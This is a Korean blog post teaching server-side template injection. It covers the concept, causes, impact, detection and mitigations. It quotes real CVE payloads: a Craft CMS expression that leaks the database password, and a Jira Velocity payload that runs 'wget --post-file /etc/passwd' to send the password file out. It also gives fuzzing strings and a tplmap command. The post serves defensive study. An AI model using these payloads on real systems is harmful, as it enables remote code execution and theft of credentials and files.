보안 공부/Web 보안

Server-side Template Injection 취약점 (SSTI)

H.J.World 2024. 1. 19. 20:30
728x90
반응형

* Server-side Template이란?


정적 웹페이지
- 서버에 미리 저장된 정보(HTML, 이미지, JS등)를 별다른 가공 없이 바로 보여주는 페이지

동적 웹페이지
 - 서버 내 정보를 스크립트로 가공한 이후 전달되는 페이지
 
Server-side Template Engine
 - 서버에서 DB 혹은 API에서 가져온 데이터를 미리 정의된 Template에 넣어 최종 페이지(html)를 완성한 이후 클라이언트에서 전달해주는 역할
 - Html 코드에 고정적으로 사용하는 부분은 Template으로 만들고 동적 생성해야 하는 부분만 Template의 특정 장소에 끼워 넣는 방식으로 동작
 >> 사용자가 입력하는 데이터와 미리 정의된 템플릿을 조합하여 사용자에게 보여주는 방식

Server-side Template Injection (SSTI)
 - Server-side Template Engine의 잘못된 사용으로 공격자는 Template을 제어하여 서버 내 데이터를 노출하는 코드를 삽입하거나 서버에 임의의 명령을 실행할 수 있게 되는 취약점
 >> 데이터를 받아 템플릿과 연계하여 페이지를 만들 경우, 데이터 값에 서버사이드 스크립트를 넣었을때, 템플릿 엔진에서 적절한 검증이 없을 경우 사용자에게 전달되는 페이지에 공격자가 입력한 명령어가 실행되어 노출되는 취약점
 

* 취약점 발생 이유

 - SSTI는 사용자 입력이 데이터로 전달되지 않고 템플릿에 직접 연결될 때 발생
 - 입력값에 대한 적절한 절차가 이뤄지지 않을 때 발생

영향도
 - RCE(Remote Code Execution) : Template Injection Payload에 임의의 시스템 명령어를 사용하여 서버 탈취
 - 서버내 데이터 출력 : 시스템 명령어에 대한 실행이 불가능할 경우 서버 내 중요 데이터를 include 하여 화면에 출력할 수 있음
 


* 실제 취약점


 - CRAFT CMS(CVE-2018-20465)
  >> redirect={{craft.config.get('password', 'db')}}
  
 - ATLASSIAN JIRA (CVE-2019-11581)
  >> subject=$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('wget --post-file /etc/passwd


* 취약점 진단 방법


 - SSTI 취약점 발생 포인트를 찾기 위해 Template 표현식에 사용되는 특수문자를 삽입하여 퍼징해봄, 예외 발생 시 삽입된 표현식은 서버에 의해 해석 될 수 있다는 의미로 취약점 포인트 가능성이 있음
  >> 샘플 : & {{<% [% ' "}} % \
  
 - Plaintect context
  >> 입력한 값이 html 코드에 직접적으로 삽인되는 형태 
  ex) ${8*8}
  
 - Code Context
  >> 입력한 값이 특정 변수에 저장된 이후에 html 코드에 삽입되는 형태
  ex) username<tag>

* 자동 점검 방법

 - Tplmap
  >> tplmap.py -u "host/aaa?인자=test"

 

* 보안대책


 - 입력값 검증
  >> Template Engine 표현식에 사용되는 특수문자(${}<>%\"' 등) 필터링 로직 구현
  >> Engine 별 파일 접근, 명령어 실행이 가능한 주요 메서드, 함수, 클래스 등 필터링 로직 구현

- 최신 버전으로 업데이트

728x90
반응형